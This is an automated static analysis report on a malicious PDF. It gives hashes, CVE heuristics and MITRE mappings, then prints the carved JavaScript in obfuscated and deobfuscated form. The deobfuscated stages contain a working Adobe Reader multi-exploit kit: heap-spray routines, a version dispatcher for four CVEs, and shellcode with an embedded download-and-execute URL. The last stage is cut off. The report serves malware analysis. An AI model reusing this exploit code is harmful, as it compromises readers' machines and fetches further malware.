Malicious PDF — malware analysis report

Static analysis result for SHA-256 9284adbb41a95ec1…

MALICIOUS

PDF

12.0 KB First seen: 2026-05-08
MD5: 22c53981c8d8bb62f1517197803e2531 SHA-1: c1b28c953cb367359477c7abd470330e4a02b9f1 SHA-256: 9284adbb41a95ec1998211715e123f9f949782b6542decde6379aa7240e46ec5
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded JavaScript that leverages multiple known Adobe Reader vulnerabilities to achieve code execution. The JavaScript is designed to download a secondary payload from the URL http://20lasdkjfaejii.cx.cc/w.php?f=66&e=5. This indicates a multi-stage attack aiming to deliver and execute further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://20lasdkjfaejii.cx.cc/w.php?f=66&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x3A9 11163 bytes
SHA-256: 06171c84e870cb83f4b890559deb02ca8dcbf7c97c9c13fd1620f721d9298800
Preview script
First 1,000 lines of the extracted script
w='s';
w+="l";
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z=[30,22,2,34,42,25,50,73,47,23,10,3,0,49,20,20,10,3,68,67,72,9,10,3,0,55,68,67,10,3,69,55,72,9,10,3,72,52,49,9,10,3,49,49,55,68,10,3,20,9,67,28,10,3,9,28,0,42,10,3,0,42,49,28,10,3,28,67,9,28,10,3,69,28,0,42,10,3,55,20,56,67,10,3,69,20,0,42,10,3,49,49,28,0,10,3,20,20,8,42,10,3,55,72,0,42,10,3,28,49,49,67,10,3,49,49,69,9,10,3,0,56,65,67,10,3,56,55,72,72,10,3,68,68,56,28,10,3,42,0,68,68,10,3,9,28,0,42,10,3,67,49,49,28,10,3,49,52,9,20,10,3,69,55,28,20,10,3,0,69,68,42,10,3,65,9,49,9,10,3,72,9,0,55,10,3,55,56,69,55,10,3,72,42,72,52,10,3,55,56,9,67,10,3,0,42,55,20,10,3,49,67,69,55,10,3,69,9,0,42,10,3,69,0,49,55,10,3,68,55,28,49,10,3,0,42,55,20,10,3,65,28,69,20,10,3,68,55,28,49,10,3,67,52,49,49,10,3,9,56,9,52,10,3,22,8,68,67,10,3,67,55,28,49,10,3,8,42,49,49,10,3,42,72,28,68,10,3,49,0,56,28,10,3,69,9,68,65,10,3,67,56,28,0,10,3,28,8,67,42,10,3,8,22,28,49,10,3,72,42,9,28,10,3,49,42,68,56,10,3,69,55,56,68,10,3,55,72,72,20,10,3,55,72,0,42,10,3,28,49,65,9,10,3,20,20,8,8,10,3,28,67,0,42,10,3,0,8,9,42,10,3,72,67,9,20,10,3,55,9,68,68,10,3,28,67,65,9,10,3,8,0,0,42,10,3,8,8,28,49,10,3,28,9,0,42,10,3,28,49,0,42,10,3,22,42,67,55,10,3,55,52,55,72,10,3,72,42,67,49,10,3,22,8,55,49,10,3,20,0,0,42,10,3,0,28,65,28,10,3,28,67,69,8,10,3,69,9,49,49,10,3,52,20,28,49,10,3,68,49,72,42,10,3,20,0,0,42,10,3,0,42,28,0,10,3,20,22,68,69,10,3,55,52,28,55,10,3,52,0,72,0,10,3,68,68,68,68,10,3,72,65,68,68,10,3,72,0,68,52,10,3,28,28,28,28,10,3,28,28,28,28,10,3,55,28,55,0,10,3,9,28,20,22,10,3,68,68,20,0,10,3,28,28,28,28,10,3,55,28,28,28,10,3,67,28,0,49,10,3,55,28,56,52,10,3,0,42,55,55,10,3,0,42,72,67,10,3,56,28,55,72,10,3,67,49,0,49,10,3,68,68,28,55,10,3,20,0,72,49,10,3,20,72,20,68,10,3,28,28,28,28,10,3,69,55,20,0,10,3,20,67,69,65,10,3,55,9,20,8,10,3,56,20,68,68,10,3,67,9,0,49,10,3,0,42,28,0,10,3,72,0,72,0,10,3,68,68,20,56,10,3,68,68,68,68,10,3,28,65,72,42,10,3,69,65,72,42,10,3,72,67,0,56,10,3,28,56,28,9,10,3,28,28,28,28,10,3,55,67,0,8,10,3,28,67,65,9,10,3,28,9,67,69,10,3,69,65,65,9,10,3,20,69,20,55,10,3,67,69,69,49,10,3,65,9,9,9,10,3,69,20,28,9,10,3,49,49,69,65,10,3,67,69,49,65,10,3,65,9,9,9,10,3,65,28,28,0,10,3,69,49,65,8,10,3,55,49,65,28,10,3,68,0,20,0,10,3,28,28,28,28,10,3,68,68,28,28,10,3,28,67,55,20,10,3,72,0,0,42,10,3,67,52,49,49,10,3,67,69,55,56,10,3,56,8,9,9,10,3,69,69,28,28,10,3,20,65,69,28,10,3,67,69,69,9,10,3,56,8,9,9,10,3,65,72,28,55,10,3,20,67,20,9,10,3,67,20,20,67,10,3,56,8,9,9,10,3,28,28,28,52,10,3,0,22,55,52,10,3,28,9,67,56,10,3,0,0,49,28,10,3,56,8,9,9,10,3,9,56,28,9,10,3,20,22,55,56,10,3,20,22,28,28,10,3,55,49,28,28,10,3,20,22,55,69,10,3,68,68,28,28,10,3,56,9,55,20,10,3,67,28,0,55,10,3,56,20,69,55,10,3,28,28,20,22,10,3,68,68,55,49,10,3,28,9,55,20,10,3,28,28,20,22,10,3,72,42,0,49,10,3,55,49,28,67,10,3,55,20,68,68,10,3,0,49,28,9,10,3,28,67,67,49,10,3,28,65,72,42,10,3,56,49,72,42,10,3,0,28,9,69,10,3,28,28,49,68,10,3,68,22,69,55,10,3,0,28,9,69,10,3,28,28,49,68,10,3,67,9,69,55,10,3,28,28,20,22,10,3,68,72,20,22,10,3,55,20,68,68,10,3,72,0,28,0,10,3,68,72,52,67,10,3,68,68,68,68,10,3,9,72,0,72,10,3,72,67,28,72,10,3,68,72,52,0,10,3,28,72,0,22,10,3,20,68,0,52,10,3,42,8,28,56,10,3,67,22,49,49,10,3,55,42,0,22,10,3,67,20,56,42,10,3,69,52,9,20,10,3,56,22,49,20,10,3,69,28,65,68,10,3,69,9,20,0,10,3,69,28,69,9,10,3,65,68,49,22,10,3,49,65,65,68,10,3,20,67,49,28,10,3,69,49,20,56,10,3,20,42,20,9,10,3,20,20,20,22,10,3,20,55,20,56,10,3,20,52,20,22,10,3,65,72,20,52,10,3,69,0,20,49,10,3,20,49,65,72,10,3,65,68,20,49,10,3,65,72,69,69,10,3,20,0,69,28,10,3,49,68,69,28,10,3,49,8,20,20,10,3,49,20,49,20,10,3,20,55,65,20,10,3,49,55,49,8,10,3,28,28,28,28,23,11,68,3,37,67,7,15,44,37,34,72,31,30,2,16,2,22,32,57,14,27,75,41,5,15,26,72,16,2,22,39,26,72,37,73,7,5,29,65,19,57,14,27,75,2,22,21,47,2,22,11,53,2,22,47,2,22,39,50,3,42,50,7,2,15,37,73,16,28,32,57,14,45,65,27,11,2,72,7,3,2,37,34,2,22,11,53,34,68,3,37,67,7,15,44,37,34,42,63,16,27,75,30,22,2,34,8,59,73,47,37,72,41,34,12,2,2,22,14,16,27,11,30,22,2,34,30,41,47,28,63,28,67,28,67,28,67,28,67,11,30,22,2,34,22,8,8,2,47,28,63,9,28,28,28,28,28,11,30,22,2,34,71,22,14,26,44,22,8,47,3,37,72,50,67,22,71,72,16,42,25,50,73,27,11,30,22,2,34,50,67,24,26,72,37,47,71,22,14,26,44,22,8,39,26,72,37,73,7,5,29,65,11,30,22,2,34,57,14,47,22,8,8,2,61,16,50,67,24,26,72,37,21,28,63,49,0,27,11,30,22,2,34,14,22,2,50,71,47,3,37,72,50,67,22,71,72,16,46,10,3,52,28,52,28,10,3,52,28,52,28,46,27,11,14,22,2,50,71,47,72,31,30,2,16,14,22,2,50,71,32,57,14,27,11,30,22,2,34,67,44,3,37,7,65,47,16,30,41,61,28,63,9,28,28,28,28,28,27,45,22,8,8,2,11,68,44,2,16,30,22,2,34,67,44,3,37,7,47,28,11,67,44,3,37,7,19,67,44,3,37,7,65,11,67,44,3,37,7,21,21,27,75,8,59,73,43,67,44,3,37,7,62,47,14,22,2,50,71,21,71,22,14,26,44,22,8,11,53,34,30,22,2,34,44,30,72,2,68,26,44,41,47,3,37,72,50,67,22,71,72,16,46,10,3,28,67,28,67,10,3,28,67,28,67,46,27,11,41,5,15,26,72,16,44,30,72,2,68,26,44,41,39,26,72,37,73,7,5,19,9,9,52,55,65,27,75,44,30,72,2,68,26,44,41,21,47,44,30,72,2,68,26,44,41,11,53,34,7,5,15,50,39,67,44,26,26,22,42,1,7,44,2,72,47,54,44,26,26,22,42,39,67,44,26,26,72,67,7,60,17,22,15,26,51,37,68,44,16,75,50,3,42,25,74,46,46,32,17,50,73,74,44,30,72,2,68,26,44,41,53,27,11,53,34,68,3,37,67,7,15,44,37,34,71,2,15,37,7,68,16,27,75,37,44,71,47,3,37,72,50,67,22,71,72,16,46,10,3,28,12,28,12,10,3,28,12,28,12,10,3,28,12,28,12,10,3,28,12,28,12,46,27,11,30,22,2,34,71,22,14,26,44,22,8,47,3,37,72,50,67,22,71,72,16,42,25,50,73,27,11,5,72,22,71,42,26,44,67,59,47,37,44,71,21,71,22,14,26,44,22,8,11,42,15,73,42,26,44,67,59,47,3,37,72,50,67,22,71,72,16,46,10,3,28,12,28,12,10,3,28,12,28,12,46,27,11,5,72,22,8,72,2,50,15,31,72,47,65,28,11,50,71,2,22,14,47,5,72,22,8,72,2,50,15,31,72,21,5,72,22,71,42,26,44,67,59,39,26,72,37,73,7,5,11,41,5,15,26,72,16,42,15,73,42,26,44,67,59,39,26,72,37,73,7,5,19,50,71,2,22,14,27,75,42,15,73,42,26,44,67,59,21,47,42,15,73,42,26,44,67,59,11,53,34,68,15,26,26,42,26,44,67,59,47,42,15,73,42,26,44,67,59,39,50,3,42,50,7,2,15,37,73,16,28,32,50,71,2,22,14,27,11,42,26,44,67,59,47,42,15,73,42,26,44,67,59,39,50,3,42,50,7,2,15,37,73,16,28,32,42,15,73,42,26,44,67,59,39,26,72,37,73,7,5,61,50,71,2,22,14,27,11,41,5,15,26,72,16,42,26,44,67,59,39,26,72,37,73,7,5,21,50,71,2,22,14,19,28,63,9,28,28,28,28,27,75,42,26,44,67,59,47,42,26,44,67,59,21,42,26,44,67,59,21,68,15,26,26,42,26,44,67,59,11,53,34,17,72,17,47,37,72,41,34,12,2,2,22,14,16,27,11,68,44,2,16,15,47,28,11,15,19,56,9,28,28,11,15,21,21,27,75,17,72,17,43,15,62,47,42,26,44,67,59,21,5,72,22,71,42,26,44,67,59,11,53,34,30,22,2,34,37,3,17,47,56,65,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,11,3,7,15,26,39,71,2,15,37,7,68,16,46,10,9,55,28,28,28,68,46,32,37,3,17,27,11,53,34,68,3,37,67,7,15,44,37,34,73,72,7,15,67,44,37,16,27,75,30,22,2,34,22,2,2,14,47,37,72,41,34,12,2,2,22,14,16,27,11,15,68,16,22,71,71,39,8,44,67,39,54,44,26,26,22,42,39,73,72,7,51,67,44,37,27,75,30,22,2,34,71,22,14,26,44,22,8,47,3,37,72,50,67,22,71,72,16,42,25,50,73,27,11,30,22,2,34,5,70,57,55,28,28,54,38,47,71,22,14,26,44,22,8,39,26,72,37,73,7,5,29,65,11,30,22,2,34,57,14,47,28,63,9,28,28,28,28,28,61,16,5,70,57,55,28,28,54,38,21,28,63,49,0,27,11,30,22,2,34,14,22,2,50,71,47,3,37,72,50,67,22,71,72,16,46,10,3,52,28,52,28,10,3,52,28,52,28,46,27,11,14,22,2,50,71,47,72,31,30,2,16,14,22,2,50,71,32,57,14,27,11,30,22,2,34,71,55,12,25,4,20,55,68,47,16,28,63,28,67,28,67,28,67,28,67,61,28,63,9,28,28,28,28,28,27,45,28,63,9,28,28,28,28,28,11,68,44,2,16,30,22,2,34,30,57,67,18,6,52,20,14,47,28,11,30,57,67,18,6,52,20,14,19,71,55,12,25,4,20,55,68,11,30,57,67,18,6,52,20,14,21,21,27,75,22,2,2,14,43,30,57,67,18,6,52,20,14,62,47,14,22,2,50,71,21,71,22,14,26,44,22,8,11,53,34,30,22,2,34,7,35,58,5,38,42,40,41,47,3,37,72,50,67,22,71,72,16,46,10,28,52,46,27,11,41,5,15,26,72,16,7,35,58,5,38,42,40,41,39,26,72,37,73,7,5,19,28,63,9,28,28,28,27,75,7,35,58,5,38,42,40,41,21,47,7,35,58,5,38,42,40,41,11,53,34,7,35,58,5,38,42,40,41,47,46,38,39,46,21,7,35,58,5,38,42,40,41,11,22,71,71,39,8,44,67,39,54,44,26,26,22,42,39,73,72,7,51,67,44,37,16,7,35,58,5,38,42,40,41,27,11,53,53,34,22,64,26,3,73,15,37,50,47,22,71,71,39,71,26,3,73,51,37,50,11,30,22,2,34,50,30,47,71,22,2,50,72,51,37,7,16,22,71,71,39,30,15,72,41,72,2,33,72,2,50,15,44,37,39,7,44,1,7,2,15,37,73,16,27,39,67,5,22,2,12,7,16,28,27,27,11,68,44,2,16,30,22,2,34,15,47,28,11,15,19,22,64,26,3,73,15,37,50,39,26,72,37,73,7,5,11,15,21,21,27,75,15,68,16,22,64,26,3,73,15,37,50,43,15,62,39,37,22,17,72,47,47,23,60,1,67,2,15,71,7,23,27,75,30,22,2,34,26,30,47,22,64,26,3,73,15,37,50,43,15,62,39,30,72,2,50,15,44,37,11,53,53,34,15,68,16,16,26,30,47,47,52,27,66,66,16,16,50,30,47,47,0,27,36,36,16,26,30,19,47,0,39,56,65,27,27,27,75,73,72,7,15,67,44,37,16,27,11,53,72,26,50,72,34,15,68,16,26,30,47,47,69,39,56,27,75,71,2,15,37,7,68,16,27,11,53,72,26,50,72,34,15,68,16,16,16,50,30,47,47,20,27,66,66,16,50,30,47,47,69,27,27,36,36,16,26,30,19,69,39,56,56,27,27,75,42,63,16,27,11,53,72,26,50,72,34,15,68,16,16,26,30,13,47,52,39,56,27,66,66,16,26,30,19,47,52,39,65,27,66,66,16,26,30,13,47,0,39,56,49,27,66,66,16,26,30,19,47,0,39,56,69,27,27,75,68,3,37,67,7,15,44,37,34,22,16,27,75,3,7,15,26,39,71,2,15,37,7,8,16,23,71,48,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,34,74,34,14,14,14,14,56,56,56,23,32,37,72,41,34,6,22,7,72,16,27,27,11,53,30,22,2,34,5,47,22,71,71,39,71,26,3,73,51,37,50,11,68,44,2,16,30,22,2,34,68,47,28,11,68,19,5,39,26,72,37,73,7,5,11,68,21,21,27,75,15,68,16,5,43,68,62,39,37,22,17,72,47,47,23,60,1,67,2,15,71,7,23,27,75,30,22,2,34,15,47,5,43,68,62,39,30,72,2,50,15,44,37,11,53,53,34,15,68,16,16,15,13,0,39,56,65,27,36,36,16,15,19,0,39,65,27,27,75,67,47,37,72,41,34,12,2,2,22,14,16,27,11,30,22,2,34,8,47,3,37,72,50,67,22,71,72,16,23,10,3,52,28,52,28,10,3,52,28,52,28,23,27,11,30,22,2,34,72,47,3,37,72,50,67,22,71,72,16,42,25,50,73,27,11,41,5,15,26,72,16,8,39,26,72,37,73,7,5,19,47,28,63,0,28,28,28,27,75,8,21,47,8,11,53,8,47,8,39,50,3,42,50,7,2,16,28,32,28,63,0,28,28,28,61,72,39,26,72,37,73,7,5,27,11,68,44,2,16,68,47,28,11,68,19,65,52,28,28,11,68,21,21,27,75,67,43,68,62,47,8,21,72,11,53,22,16,27,11,22,16,27,11,7,2,14,75,7,5,15,50,39,17,72,8,15,22,39,37,72,41,64,26,22,14,72,2,16,37,3,26,26,27,11,53,67,22,7,67,5,16,72,27,75,53,22,16,27,11,53,53];
a="8SruKhDtd4%;A>yi(mQ<6+a'_jl)0*vz,V U&nN.Gwb[o/'=@3sI9}C51qMkE-]xP2|cf7Wpeg:{";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{

e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[z[i]];
}
}}

"))";try{if(!google.search())throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x3A9 3870 bytes
SHA-256: 65164edf0257defd63ce3ffb98b4aa355856b356f8c590b44e4eed55084a53de
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u322f%u6c30%u7361%u6b64%u666a%u6561%u696a%u2e69%u7863%u632e%u2f63%u2e77%u6870%u3f70%u3d66%u3636%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x3A9 3866 bytes
SHA-256: 8bda944b3821124026ddf79bdfbc8f0158f16d6d156c01977fc565e337dc1c90
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u322f%u6c30%u7361%u6b64%u666a%u6561%u696a%u2e69%u7863%u632e%u2f63%u2e77%u6870%u3f70%u3d66%u3636%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	